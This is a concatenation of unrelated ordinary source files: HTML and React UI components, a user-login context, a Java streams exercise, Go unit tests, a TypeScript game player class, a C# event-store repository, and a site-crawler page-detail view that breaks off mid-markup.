aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title text-success i18" key="CpfErro" id="ModalErroLabel">Erro</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <p class="text-body i18" key="CpfErroMensagem"> Houve um problema ao verificar se está elegível para usar esse recurso. Tente novamente mais tarde... </p> </div> <div class="modal-footer"> <a class="btn btn-primary i18" key="CpfErroBotao" href="/">Ir para página inicial</a> </div> </div> </div> </div> </main> <componente-footer></componente-footer> <script type="module" src="../main.js"></script> <script type="module" src="../js/utilidades/header.js"></script> <script type="module" src="../js/utilidades/footer.js"></script> <script type="module" src="../js/cadastro-times.js"></script> </body> </html>
import React from 'react' import ReactDOM from 'react-dom'; import type { ExtensionScaffoldApi } from "@moesol/es-runtime/build/es-api" const SampleModalPanel: React.FC<{ onAccept: (text: string) => void, onCancel: () => void, buttonText: string, }> = ({ onAccept, onCancel, buttonText }) => { const css = ` .modal { position: fixed; left: 0; top:0; right: 0; bottom: 0; background-color: rgba(0, 0, 0, 0.5); display: flex; align-items: center; justify-content: center; } .modal-content { width: 500px; background-color: var(--es-theme-surface); } .modal-header { padding: 10px; } .modal-footer { padding: 10px; } .modal-body { padding: 10px; border-top: 1px solid #eee; border-bottom: 1px solid #eee; } .modal-accept { float: right; margin: 10px; } .modal-cancel { float: right; margin: 10px; } .form-label { width: 50%; margin: 10px; white-space: nowrap; } .form-input { width: 50%; margin: 10px; white-space: nowrap; } ` const [text, setText] = React.useState(buttonText) const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => { setText(event.target.value) } const modalContent = ( <div> <div className = 'form-label'> <label htmlFor="button-name">New Text For Modal Button</label> </div> <div className = 'form-input' > <input type="text" id="button-name" name="button-name" required minLength={1} maxLength={20} size={20} value={text} onChange={handleChange}/> </div> </div> ); const modalFooter = ( <div> <div> <button className = 'modal-cancel' onClick={onCancel}>Cancel</button> </div> <div> <button className = 'modal-accept' onClick={() => onAccept(text)}>Accept</button> </div> </div> ); return <> <style>{css}</style> <div> <div className="modal" onClick={onCancel}> <div className="modal-content" onClick={e => e.stopPropagation()}> <div className="modal-header"> <h4 className="modal-title">Example Modal</h4> </div> <div className="modal-body"> {modalContent} </div> <div className="modal-footer"> {modalFooter} </div> </div> </div> </div> </> } export const SampleModal: React.FC<{ es: ExtensionScaffoldApi }> = ({ es }) => { const [open, setOpen] = React.useState(false) const [buttonText, setButtonText] = React.useState('Sample Modal Example') React.useEffect(() => { if (open) { es.chrome.panels.addPanel({ id: 'ext.snowpack.samplemodal.portal', location: 'portal-wide', }).then(portalDiv => { ReactDOM.render( <SampleModalPanel onCancel={onCancel} onAccept={onAccept} buttonText={buttonText} />, portalDiv) }) } else { es.chrome.panels.removePanel('ext.snowpack.samplemodal.portal') } }, [open]) function openModal() { setOpen(true) } function closeModal() { setOpen(false) } function onCancel() { closeModal() } function onAccept(text: string) { setButtonText(text) closeModal() } return <> <div> <button onClick={openModal}>{buttonText}</button> </div> </> }
import React, { useState, createContext, useMemo } from "react"; import { useNavigate } from "react-router-dom"; import { UserContextType, UserType } from "../types/User"; const CurrentUserContext = createContext<UserContextType>(null!); CurrentUserContext.displayName = "UserContext"; type ProviderProps = { children: React.ReactNode; }; const CurrentUserProvider: React.FC<ProviderProps> = ({ children }) => { const navigate = useNavigate(); const [currentUser, setCurrentUser] = useState<UserType>({ email: "", token: "", }); const [authLoading, setAuthLoading] = useState(false); const checkLogin = (mess: boolean = false) => { if (currentUser.email === "") { if (mess) alert("Entre no sistema para poder acessar essa área."); navigate("/login"); } }; const handleLogout = () => { localStorage.removeItem("dog_breed_token"); setCurrentUser({ email: "", token: "" }); navigate("/login"); }; const stateValues = useMemo( () => ({ currentUser, setCurrentUser, authLoading, setAuthLoading, checkLogin, handleLogout, }), [currentUser, authLoading] ); return ( <CurrentUserContext.Provider value={stateValues}> {children} </CurrentUserContext.Provider> ); }; export { CurrentUserProvider, CurrentUserContext };
package streams; import java.util.Arrays; import java.util.List; import java.util.function.BiFunction; import java.util.function.BinaryOperator; import java.util.function.Function; import java.util.function.Predicate; public class Reduce3 { public static void main(String[] args) { Aluno a1 = new Aluno("Ana", 7.3); Aluno a2 = new Aluno("Gui", 5.1); Aluno a3 = new Aluno("Bia", 9.0); Aluno a4 = new Aluno("Dan", 10); List<Aluno> alunos = Arrays.asList(a1, a2, a3, a4); Predicate<Aluno> aprovado = a -> a.nota >= 7; Function<Aluno, Double> apenasNotas = a -> a.nota; BiFunction<Media, Double, Media> calcularMedia = (media, nota) -> media.adicionar(nota); BinaryOperator<Media> combinarMedia = (m1, m2) -> Media.combinar(m1, m2); Media media = alunos.parallelStream() .filter(aprovado) .map(apenasNotas) .reduce(new Media(), calcularMedia, combinarMedia); System.out.println("Calculo da media da turma " + media.getValor()); } }
package main import ( "testing" "github.com/stretchr/testify/assert" ) func TestRoundUp05(t *testing.T) { r := round(0.5) assert.Equal(t, r, 1) } func TestRoundUp06(t *testing.T) { r := round(0.6) assert.Equal(t, r, 1) } func TestRoundDown04(t *testing.T) { r := round(0.49999) assert.Equal(t, r, 0) } func TestFixedRounding(t *testing.T) { r := toFixed(0.49999, 2) assert.Equal(t, r, 0.50) } func TestFixedNoRounding(t *testing.T) { r := toFixed(0.414, 2) assert.Equal(t, r, 0.41) } func TestFixedNoPrecision(t *testing.T) { r := toFixed(41, 2) assert.Equal(t, r, 41.0) } func TestFixedNoPrecisionLarge(t *testing.T) { r := toFixed(413, 2) assert.Equal(t, r, 413.0) } func TestParseTemp(t *testing.T) { r := parseTemp(200) assert.Equal(t, r, 20.0) } func TestParseTempPrecision(t *testing.T) { r := parseTemp(194) assert.Equal(t, r, 19.4) } func TestParseTempPrecisionLarge(t *testing.T) { r := parseTemp(1944) assert.Equal(t, r, 194.4) } func TestParseTempNegative(t *testing.T) { r := parseTemp(-123) assert.Equal(t, r, -12.3) }
package main import "testing" func Test_searchMatrix(t *testing.T) { type args struct { matrix [][]int target int } tests := []struct { name string args args want bool }{ { "Test1", args{[][]int{ {1, 3, 5, 7}, {10, 11, 16, 20}, {23, 30, 34, 60}, }, 3}, true, }, { "Test2", args{[][]int{ {1, 3, 5, 7}, {10, 11, 16, 20}, {23, 30, 34, 60}, }, 13}, false, }, { "Test3", args{[][]int{ {1}, }, 13}, false, }, { "Test4", args{[][]int{ {1}, }, 1}, true, }, { "Test5", args{[][]int{ {1, 2, 3, 4, 5, 6, 7, 8}, }, 10}, false, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { if got := searchMatrix(tt.args.matrix, tt.args.target); got != tt.want { t.Errorf("searchMatrix() = %v, want %v", got, tt.want) } }) } }
import { v4 } from 'uuid' import { Game, GameState } from './game' import { random_name } from './util' export class Player { private readonly _id: string private _name: string private _game: Game | null public get id(): string { return this._id } public get name(): string { return this._name } public get is_game_creator(): boolean { if (!this._game) { return false } return this._game.is_player_creator(this) } public get in_a_game(): boolean { return this._game !== null && this._game.game_started !== GameState.Ended } constructor(name?: string) { this._id = v4() this._name = name ?? random_name() this._game = null } public edit_name(new_name: string): void { this._name = new_name } public create_game(): Game { if (this.in_a_game) { throw new Error('You cannot create a game while in another') } return (this._game = new Game(this)) } public join_game(game: Game): void { if (this.in_a_game) { throw new Error('You cannot be in multiple concurrent games') } game.add_players(this) this._game = game } }
// MIT-License // Copyright BridgingIT GmbH - All Rights Reserved // Use of this source code is governed by an MIT-style license that can be // found in the LICENSE file at https://github.com/bridgingit/bitdevkit/license namespace BridgingIT.DevKit.Infrastructure.EventSourcing; using System; using System.Linq; using System.Threading; using System.Threading.Tasks; using BridgingIT.DevKit.Common; using BridgingIT.DevKit.Domain.EventSourcing.Model; using BridgingIT.DevKit.Domain.EventSourcing.Registration; using BridgingIT.DevKit.Domain.EventSourcing.Store; using EnsureThat; /// <summary> /// EventStore, der die Events über EntityFramework in einer SqlServer-Datenbank persistiert. /// Der EventStore setzt voraus, dass alle zu persistierenden Aggregates \ AggregateEvents /// registriert wurden, so dass ein "immutable Name" intern werden kann. /// Dies ermöglicht, dass Aggregates bzw. AggregateEvents verschoben werden können bzw. /// umbenannt werden können, solange sich der "immutable Name" nicht ändert. /// <see cref="IEventStoreAggregateRegistration"/> bzw. /// <see cref="IEventStoreAggregateEventRegistration"/>. /// </summary> public class EventStoreRepository : IEventStoreRepository { private readonly ISerializer serializer; private readonly IEventStoreAggregateEventRegistration aggregateEventRegistration; private readonly IEventStoreAggregateRegistration aggregateRegistration; private readonly IAggregateEventRepository aggregateEventRepository; private readonly ISnapshotRepository snapshotRepository; private readonly IEventTypeSelector typeSelector; private readonly IAggregateTypeSelector aggregateTypeSelector; public EventStoreRepository( ISerializer serializer, IAggregateEventRepository aggregateEventRepository, ISnapshotRepository snapshotRepository, IEventStoreAggregateRegistration aggregateRegistration, IEventStoreAggregateEventRegistration aggregateEventRegistration, IEventTypeSelector typeSelector, IAggregateTypeSelector aggregateTypeSelector) { EnsureArg.IsNotNull(aggregateEventRepository, nameof(aggregateEventRepository)); EnsureArg.IsNotNull(serializer, nameof(serializer)); EnsureArg.IsNotNull(typeSelector, nameof(typeSelector)); EnsureArg.IsNotNull(aggregateTypeSelector, nameof(aggregateTypeSelector)); this.aggregateEventRepository = aggregateEventRepository; this.snapshotRepository = snapshotRepository; this.serializer = serializer; this.typeSelector = typeSelector; this.aggregateTypeSelector = aggregateTypeSelector; this.aggregateRegistration = aggregateRegistration; this.aggregateEventRegistration = aggregateEventRegistration; } public async Task AddAsync<TAggregate>(IAggregateEvent @event, CancellationToken cancellationToken) where TAggregate : EventSourcingAggregateRoot { EnsureArg.IsNotNull(@event, nameof(@event)); await this.aggregateEventRepository .InsertAsync( @event, this.aggregateRegistration.GetImmutableName<TAggregate>(), this.aggregateEventRegistration.GetImmutableName(@event), this.serializer.SerializeToBytes(@event)) .AnyContext(); } public async Task<IAggregateEvent[]> GetEventsAsync<TAggregate>(Guid aggregateId, CancellationToken cancellationToken) where TAggregate : EventSourcingAggregateRoot { var immutableAggregateName = this.aggregateRegistration.GetImmutableName<TAggregate>(); var events = await this.aggregateEventRepository.GetEventsAsync(aggregateId, immutableAggregateName, cancellationToken).AnyContext(); return events?.Select(ev => ev.Data.ConvertFromBlob(this.aggregateEventRegistration.GetTypeOnImmutableName(ev.EventType), this.serializer, this.typeSelector)).ToArray(); } public async Task<Guid[]> GetAggregateIdsAsync(CancellationToken cancellationToken) { return await this.aggregateEventRepository.GetAggregateIdsAsync(cancellationToken).AnyContext(); } public async Task<Guid[]> GetAggregateIdsAsync<TAggregate>(CancellationToken cancellationToken) where TAggregate : EventSourcingAggregateRoot { return await this.aggregateEventRepository.GetAggregateIdsAsync<TAggregate>(cancellationToken).AnyContext(); } public async Task ExecuteScopedAsync(Func<Task> operation) { EnsureArg.IsNotNull(operation, nameof(operation)); await this.aggregateEventRepository.ExecuteScopedAsync(operation).AnyContext(); } public async Task<int> GetMaxVersionAsync<TAggregate>(Guid aggregateId, CancellationToken cancellationToken) where TAggregate : EventSourcingAggregateRoot { var immutableAggregateName = this.aggregateRegistration.GetImmutableName<TAggregate>(); return await this.aggregateEventRepository .GetMaxVersionAsync(aggregateId, immutableAggregateName, cancellationToken).AnyContext(); } public async Task<TAggregate?> GetSnapshotAsync<TAggregate>(Guid aggregateId, CancellationToken cancellationToken) where TAggregate : EventSourcingAggregateRoot { var immutableAggregateName = this.aggregateRegistration.GetImmutableName<TAggregate>(); var aggregateBlob = await this.snapshotRepository.GetSnapshotAsync(aggregateId, immutableAggregateName, cancellationToken).AnyContext(); if (aggregateBlob is not null) { var aggregate = aggregateBlob.ConvertFromBlob(typeof(TAggregate).FullName ?? throw new InvalidOperationException(), this.serializer, this.aggregateTypeSelector); return aggregate as TAggregate; } return null; } public async Task SaveSnapshotAsync<TAggregate>(TAggregate aggregate, CancellationToken cancellationToken) where TAggregate : EventSourcingAggregateRoot { var immutableAggregateName = this.aggregateRegistration.GetImmutableName<TAggregate>(); var data = aggregate.ConvertToBlob(this.serializer); await this.snapshotRepository.SaveSnapshotAsync(aggregate.Id, data.Blob, immutableAggregateName, cancellationToken).AnyContext(); } }
import { MemoizedBadge } from "@components/badges"; import { MemoizedSiteSuccessIcon } from "@components/icons/SiteSuccessIcon"; import { MemoizedPageOption } from "@components/options/PageOption"; import { SiteCrawlerAppContext } from "@pages/_app"; import { classnames } from "@utils/classnames"; import bytes from "bytes"; import dayjs from "dayjs"; import useTranslation from "next-translate/useTranslation"; import { memo, useContext } from "react"; import Skeleton from "react-loading-skeleton"; import "react-loading-skeleton/dist/skeleton.css"; /** * Custom function to render the `SitePageDetailPageLayout` component */ const SitePageDetailPageLayout = () => { // Translations const { t } = useTranslation(); const noneText = t("common:none"); const resolvedIssuesText = t("sites:resolvedIssues"); const tlsInformationText = t("sites:tlsInformation"); const createdAtText = t("sites:createdAt"); const tlsNotBeforeText = t("sites:tls.tlsNotBefore"); const tlsNotAfterText = t("sites:tls.tlsNotAfter"); const tlsCommonNameText = t("sites:tls.tlsCommonName"); const tlsOrganizationText = t("sites:tls.tlsOrganization"); const tlsDnsNamesText = t("sites:tls.tlsDnsNames"); const tlsIssuerOrganizationText = t("sites:tls.tlsIssuerOrganization"); const tlsIssuerCommonNameText = t("sites:tls.tlsIssuerCommonName"); const tlsCipherSuiteText = t("sites:tls.tlsCipherSuite"); const tlsVersionText = t("sites:tls.tlsVersion"); const tlsErrorsText = t("sites:tls.tlsErrors"); const pageInformationText = t("sites:pageDetail.pageInformation"); const seoInformationText = t("sites:pageDetail.seoInformation"); const sizeText = t("sites:pageDetail.size"); const totalLinksText = t("sites:pageDetail.totalLinks"); const totalOkLinksText = t("sites:pageDetail.totalOkLinks"); const totalNonOkLinksText = t("sites:pageDetail.totalNonOkLinks"); const totalImagesText = t("sites:pageDetail.totalImages"); const totalOkImagesText = t("sites:pageDetail.totalOkImages"); const totalNonOkImagesText = t("sites:pageDetail.totalNonOkImages"); const totalScriptsText = t("sites:pageDetail.totalScripts"); const totalOkScriptsText = t("sites:pageDetail.totalOkScripts"); const totalNonOkScriptsText = t("sites:pageDetail.totalNonOkScripts"); const totalStylesheetsText = t("sites:pageDetail.totalStylesheets"); const totalOkStylesheetsText = t("sites:pageDetail.totalOkStylesheets"); const totalNonOkStylesheetsText = t("sites:pageDetail.totalNonOkStylesheets"); const totalSizeImagesText = t("sites:pageDetail.totalSizeImages"); const totalSizeScriptsText = t("sites:pageDetail.totalSizeScripts"); const totalSizeStylesheetsText = t("sites:pageDetail.totalSizeStylesheets"); const totalSizeText = t("sites:pageDetail.totalSize"); const totalSizeAdjustedText = t("sites:pageDetail.totalSizeAdjusted"); const tlsStatusText = t("sites:pageDetail.tlsStatus"); const totalTlsImagesText = t("sites:pageDetail.totalTlsImages"); const totalNonTlsImagesText = t("sites:pageDetail.totalNonTlsImages"); const totalTlsScriptsText = t("sites:pageDetail.totalTlsScripts"); const totalNonTlsScriptsText = t("sites:pageDetail.totalNonTlsScripts"); const totalTlsStylesheetsText = t("sites:pageDetail.totalTlsStylesheets"); const totalNonTlsStylesheetsText = t("sites:pageDetail.totalNonTlsStylesheets"); const tlsImagesText = t("sites:pageDetail.tlsImages"); const tlsScriptsText = t("sites:pageDetail.tlsScripts"); const tlsStylesheetsText = t("sites:pageDetail.tlsStylesheets"); const tlsTotalText = t("sites:pageDetail.tlsTotal"); const tlsTotalAdjustedText = t("sites:pageDetail.tlsTotalAdjusted"); const hasTitleAdjustedText = t("sites:pageDetail.seo.hasTitleAdjusted"); const hasDescriptionAdjustedText = t("sites:pageDetail.seo.hasDescriptionAdjusted"); const hasH1FirstAdjustedText = t("sites:pageDetail.seo.hasH1FirstAdjusted"); const hasH1SecondAdjustedText = t("sites:pageDetail.seo.hasH1SecondAdjusted"); const hasH2FirstAdjustedText = t("sites:pageDetail.seo.hasH1SecondAdjusted"); const hasH2SecondAdjustedText = t("sites:pageDetail.seo.hasH2SecondAdjusted"); const hasDuplicatedTitleAdjustedText = t("sites:pageDetail.seo.hasDuplicatedTitleAdjusted"); const hasDuplicatedDescriptionAdjustedText = t("sites:pageDetail.seo.hasDuplicatedDescriptionAdjusted"); const pageDataTitle = t("sites:pageDetail.seo.pageData.title"); const pageDataDescription = t("sites:pageDetail.seo.pageData.description"); const pageDataH1First = t("sites:pageDetail.seo.pageData.h1First"); const pageDataH1Second = t("sites:pageDetail.seo.pageData.h1Second"); const pageDataH2First = t("sites:pageDetail.seo.pageData.h2First"); const pageDataH2Second = t("sites:pageDetail.seo.pageData.h2Second"); const resolvedTlsText = t("sites:pageDetail.resolvedTls"); const resolvedSizeText = t("sites:pageDetail.resolvedSize"); const resolvedMissingTitleText = t("sites:pageDetail.resolvedMissingTitle"); const resolvedMissingDescriptionText = t("sites:pageDetail.resolvedMissingDescription"); const resolvedMissingH1FirstText = t("sites:pageDetail.resolvedMissingH1First"); const resolvedMissingH1SecondText = t("sites:pageDetail.resolvedMissingH1Second"); const resolvedMissingH2FirstText = t("sites:pageDetail.resolvedMissingH2First"); const resolvedMissingH2SecondText = t("sites:pageDetail.resolvedMissingH2Second"); const resolvedDuplicateTitleText = t("sites:pageDetail.resolvedDuplicateTitle"); const resolvedDuplicateDescriptionText = t("sites:pageDetail.resolvedDuplicateDescription"); // Custom context const { isComponentReady, pageId, user, querySiteId } = useContext(SiteCrawlerAppContext); const calendar = require("dayjs/plugin/calendar"); const timezone = require("dayjs/plugin/timezone"); const utc = require("dayjs/plugin/utc"); dayjs.extend(calendar); dayjs.extend(utc); dayjs.extend(timezone); const calendarStrings = { lastDay: "[Yesterday], dddd [at] hh:mm:ss A", lastWeek: "MMMM DD, YYYY [at] hh:mm:ss A", sameDay: "[Today], dddd [at] hh:mm:ss A", sameElse: "MMMM DD, YYYY [at] hh:mm:ss A" }; // Custom variables const disableLocalTime = user?.data?.settings?.disableLocalTime ?? false; const createdAtTimestamp = pageId?.data?.created_at ?? null; const createdAt = createdAtTimestamp ? !disableLocalTime ? dayjs(createdAtTimestamp).calendar(null, calendarStrings) : dayjs.utc(createdAtTimestamp).calendar(null, calendarStrings) : null; const size = pageId?.data?.size ?? null; const convertedSize = bytes(size ?? 0, { thousandsSeparator: " ", unitSeparator: " " }); const totalLinks = pageId?.data?.num_links ?? null; const totalOkLinks = pageId?.data?.num_ok_links ?? null; const totalNonOkLinks = pageId?.data?.num_non_ok_links ?? null; const totalImages = pageId?.data?.num_images ?? null; const totalOkImages = pageId?.data?.num_ok_images ?? null; const totalNonOkImages = pageId?.data?.num_non_ok_images ?? null; const totalScripts = pageId?.data?.num_scripts ?? null; const totalOkScripts = pageId?.data?.num_ok_scripts ?? null; const totalNonOkScripts = pageId?.data?.num_non_ok_scripts ?? null; const totalStylesheets = pageId?.data?.num_stylesheets ?? null; const totalOkStylesheets = pageId?.data?.num_ok_stylesheets ?? null; const totalNonOkStylesheets = pageId?.data?.num_non_ok_stylesheets ?? null; const totalSizeImages = pageId?.data?.size_images ?? null; const convertedTotalSizeImages = bytes(totalSizeImages ?? 0, { thousandsSeparator: " ", unitSeparator: " " }); const totalSizeScripts = pageId?.data?.size_scripts ?? null; const convertedTotalSizeScripts = bytes(totalSizeScripts ?? 0, { thousandsSeparator: " ", unitSeparator: " " }); const totalSizeStylesheets = pageId?.data?.size_stylesheets ?? null; const convertedTotalSizeStylesheets = bytes(totalSizeStylesheets ?? 0, { thousandsSeparator: " ", unitSeparator: " " }); const totalSize = pageId?.data?.size_total ?? null; const convertedTotalSize = bytes(totalSize ?? 0, { thousandsSeparator: " ", unitSeparator: " " }); const totalSizeAdjusted = pageId?.data?.size_total_adjusted ?? null; const convertedTotalSizeAdjusted = bytes(totalSizeAdjusted ?? 0, { thousandsSeparator: " ", unitSeparator: " " }); const tlsStatus = pageId?.data?.tls_status ?? null; const totalTlsImages = pageId?.data?.num_tls_images ?? null; const totalNonTlsImages = pageId?.data?.num_non_tls_images ?? null; const totalTlsScripts = pageId?.data?.num_tls_scripts ?? null; const totalNonTlsScripts = pageId?.data?.num_non_tls_scripts ?? null; const totalTlsStylesheets = pageId?.data?.num_tls_stylesheets ?? null; const totalNonTlsStylesheets = pageId?.data?.num_non_tls_stylesheets ?? null; const tlsImages = pageId?.data?.tls_images ?? null; const tlsScripts = pageId?.data?.tls_scripts ?? null; const tlsStylesheets = pageId?.data?.tls_stylesheets ?? null; const tlsTotal = pageId?.data?.tls_total ?? null; const tlsTotalAdjusted = pageId?.data?.tls_total_adjusted ?? null; const hasTitleAdjusted = pageId?.data?.has_title_adjusted ?? null; const hasDescriptionAdjusted = pageId?.data?.has_description_adjusted ?? null; const hasH1FirstAdjusted = pageId?.data?.has_h1_first_adjusted ?? null; const hasH1SecondAdjusted = pageId?.data?.has_h1_second_adjusted ?? null; const hasH2FirstAdjusted = pageId?.data?.has_h2_first_adjusted ?? null; const hasH2SecondAdjusted = pageId?.data?.has_h2_second_adjusted ?? null; const hasDuplicatedTitleAdjusted = pageId?.data?.has_duplicated_title_adjusted ?? null; const hasDuplicatedDescriptionAdjusted = pageId?.data?.has_duplicated_description_adjusted ?? null; const titlePageData = pageId?.data?.pagedata?.title ?? null; const descriptionPageData = pageId?.data?.pagedata?.description ?? null; const h1FirstPageData = pageId?.data?.pagedata?.h1_first ?? null; const h1SecondPageData = pageId?.data?.pagedata?.h1_second ?? null; const h2FirstPageData = pageId?.data?.pagedata?.h2_first ?? null; const h2SecondPageData = pageId?.data?.pagedata?.h2_second ?? null; const tls = pageId?.data?.tls ?? null; const tlsNotBeforeTimestamp = tls ? tls.not_before : null; const tlsNotBefore = tlsNotBeforeTimestamp ? !disableLocalTime ? dayjs(tlsNotBeforeTimestamp).calendar(null, calendarStrings) : dayjs.utc(tlsNotBeforeTimestamp).calendar(null, calendarStrings) : null; const tlsNotAfterTimestamp = tls ? tls.not_after : null; const tlsNotAfter = tlsNotAfterTimestamp ? !disableLocalTime ? dayjs(tlsNotAfterTimestamp).calendar(null, calendarStrings) : dayjs.utc(tlsNotAfterTimestamp).calendar(null, calendarStrings) : null; const tlsCommonName = tls ? tls.common_name : null; const tlsOrganization = tls ? tls.organization : null; const tlsDnsNames = tls ? tls.dns_names : null; const tlsIssuerOrganization = tls ? tls.issuer_organization : null; const tlsIssuerCommonName = tls ? tls.issuer_cn : null; const tlsCipherSuite = tls ? tls.cipher_suite : null; const tlsVersion = tls ? tls.version : null; const tlsErrors = tls ? tls.errors : null; const resolvedTls = pageId?.data?.resolved_tls ?? null; const resolvedSize = pageId?.data?.resolved_size ?? null; const resolvedMissingTitle = pageId?.data?.resolved_missing_title ?? null; const resolvedMissingDescription = pageId?.data?.resolved_missing_description ?? null; const resolvedMissingH1First = pageId?.data?.resolved_missing_h1_first ?? null; const resolvedMissingH1Second = pageId?.data?.resolved_missing_h1_second ?? null; const resolvedMissingH2First = pageId?.data?.resolved_missing_h2_first ?? null; const resolvedMissingH2Second = pageId?.data?.resolved_missing_h2_second ?? null; const resolvedDuplicateTitle = pageId?.data?.resolved_duplicate_title ?? null; const resolvedDuplicateDescription = pageId?.data?.resolved_duplicate_description ?? null; return ( <> <MemoizedPageOption isPages /> <div className="flex flex-auto flex-grow flex-col items-center justify-center px-6 pt-8 focus:outline-none sm:px-6 md:px-0"> <div className="h-full w-full flex-1 items-center justify-center overflow-y-hidden py-4 first-line:flex"> <div className="pb-12"> <div> <h3 className="text-xl font-bold leading-6 text-gray-900">{pageInformationText}</h3> </div> <div className="mt-5"> <dl className="sm:divide-y sm:divide-gray-200"> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{createdAtText}</dt> {isComponentReady && createdAt ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0">{createdAt}</dd> ) : isComponentReady && !createdAt ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{sizeText}</dt> {isComponentReady && size ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0">{convertedSize}</dd> ) : isComponentReady && !size ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalLinksText}</dt> {isComponentReady && totalLinks ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0">{totalLinks}</dd> ) : isComponentReady && !totalLinks ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalOkLinksText}</dt> {isComponentReady && totalOkLinks ? ( <dd className="mt-1 text-sm text-green-500 sm:col-span-2 sm:mt-0">{totalOkLinks}</dd> ) : isComponentReady && !totalOkLinks ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalNonOkLinksText}</dt> {isComponentReady && totalNonOkLinks ? ( <dd className="mt-1 text-sm text-red-500 sm:col-span-2 sm:mt-0">{totalNonOkLinks}</dd> ) : isComponentReady && !totalNonOkLinks ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalImagesText}</dt> {isComponentReady && totalImages ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0">{totalImages}</dd> ) : isComponentReady && !totalImages ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalOkImagesText}</dt> {isComponentReady && totalOkImages ? ( <dd className="mt-1 text-sm text-green-500 sm:col-span-2 sm:mt-0">{totalOkImages}</dd> ) : isComponentReady && !totalOkImages ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalNonOkImagesText}</dt> {isComponentReady && totalNonOkImages ? ( <dd className="mt-1 text-sm text-red-500 sm:col-span-2 sm:mt-0">{totalNonOkImages}</dd> ) : isComponentReady && !totalNonOkImages ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalScriptsText}</dt> {isComponentReady && totalScripts ? ( <dd className="mt-1 text-sm text-gray-900 sm:col-span-2 sm:mt-0">{totalScripts}</dd> ) : isComponentReady && !totalScripts ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalOkScriptsText}</dt> {isComponentReady && totalOkScripts ? ( <dd className="mt-1 text-sm text-green-500 sm:col-span-2 sm:mt-0">{totalOkScripts}</dd> ) : isComponentReady && !totalOkScripts ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalNonOkScriptsText}</dt> {isComponentReady && totalNonOkScripts ? ( <dd className="mt-1 text-sm text-red-500 sm:col-span-2 sm:mt-0">{totalNonOkScripts}</dd> ) : isComponentReady && !totalNonOkScripts ? ( <dd className="mt-1 text-sm sm:col-span-2 sm:mt-0"> <span className="text-gray-500">{noneText}</span> </dd> ) : ( <dd className="mt-1 sm:col-span-2 sm:mt-0"> <Skeleton duration={2} width={120} /> </dd> )} </div> <div className="py-4 sm:grid sm:grid-cols-3 sm:gap-4 sm:py-5"> <dt className="text-sm font-medium text-gray-500">{totalStylesheetsText}</dt> 